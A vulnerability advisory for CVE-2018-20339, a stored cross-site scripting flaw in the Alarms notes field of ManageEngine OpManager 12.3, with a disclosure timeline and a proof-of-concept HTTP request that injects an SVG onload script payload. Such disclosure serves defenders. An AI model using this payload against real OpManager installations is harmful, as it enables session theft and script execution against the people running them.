Zoho ManageEngine OpManager versions 12.3 before build 123239 suffers from a cross site scripting vulnerability in the Alarms section.
4e95e81fdc2a643547d6dcb970290998I. VULNERABILITY
-------------------------
Zoho ManageEngine OpManager 12.3 before build 123239 allows XSS in the
Notes column of the Alarms section
II. CVE REFERENCE
-------------------------
CVE-2018-20339
III. VENDOR
-------------------------
https://www.manageengine.com
IV. TIMELINE
-------------------------
20/11/18 Vulnerability discovered
20/11/18 Vendor contacted
20/12/2018 OPManager replay that they fixed
V. CREDIT
-------------------------
Murat Aydemir from Biznet Bilisim A.S.
VI. DESCRIPTION
-------------------------
ManageEngine OPManager product(version 12.3) was vulnerable to stored
xss attacks. A successfully exploit of this attack could allow thief
users sessions or arbitrary interpret javascript code on remote host.
References: https://www.manageengine.com/network-monitoring/help/read-me.html,
https://bugbounty.zoho.com/bb/info#hof
VII. PoC
-------------------------
POST /api/json/alarm/addNotes?apiKey=5f5e26abc7bf2af2a5669cf258ec8385&isFluidic=true
HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0)
Gecko/20100101 Firefox/61.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://vulnerablehost/apiclient/ember/index.jsp
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 113
Cookie: JSESSIONID=DF47AA5596862216FF9BBBAE234975C1;
encryptPassForAutomaticSignin=82a3161ad68e57b6;
userNameForAutomaticSignin=admin;
domainNameForAutomaticSignin=Authenticator; signInAutomatically=true;
authrule_name=Authenticator;
opmcsrfcookie=5bb7df90-d1a4-4942-ae64-e5308fb5d501;
f2RedirectUrl=http%3A%2F%2F192.168.252.150%3A8061%2Fapiclient%2Fember%2Findex.jsp%23%2FAlarms%2FAlarm%2FDetails%2Fkkkkk_192.168.252.150_URL_Poll;
NFA__SSO=57D7F0938B20457F49BB1791E756CAC3
DNT: 1
Connection: close
notes=aabbcc%22%3E%3Csvg%2Fonload%3Dconfirm('xss_in_notes_parameter')%2F%2F&entity=kkkkk_192.168.252.150_URL_Poll
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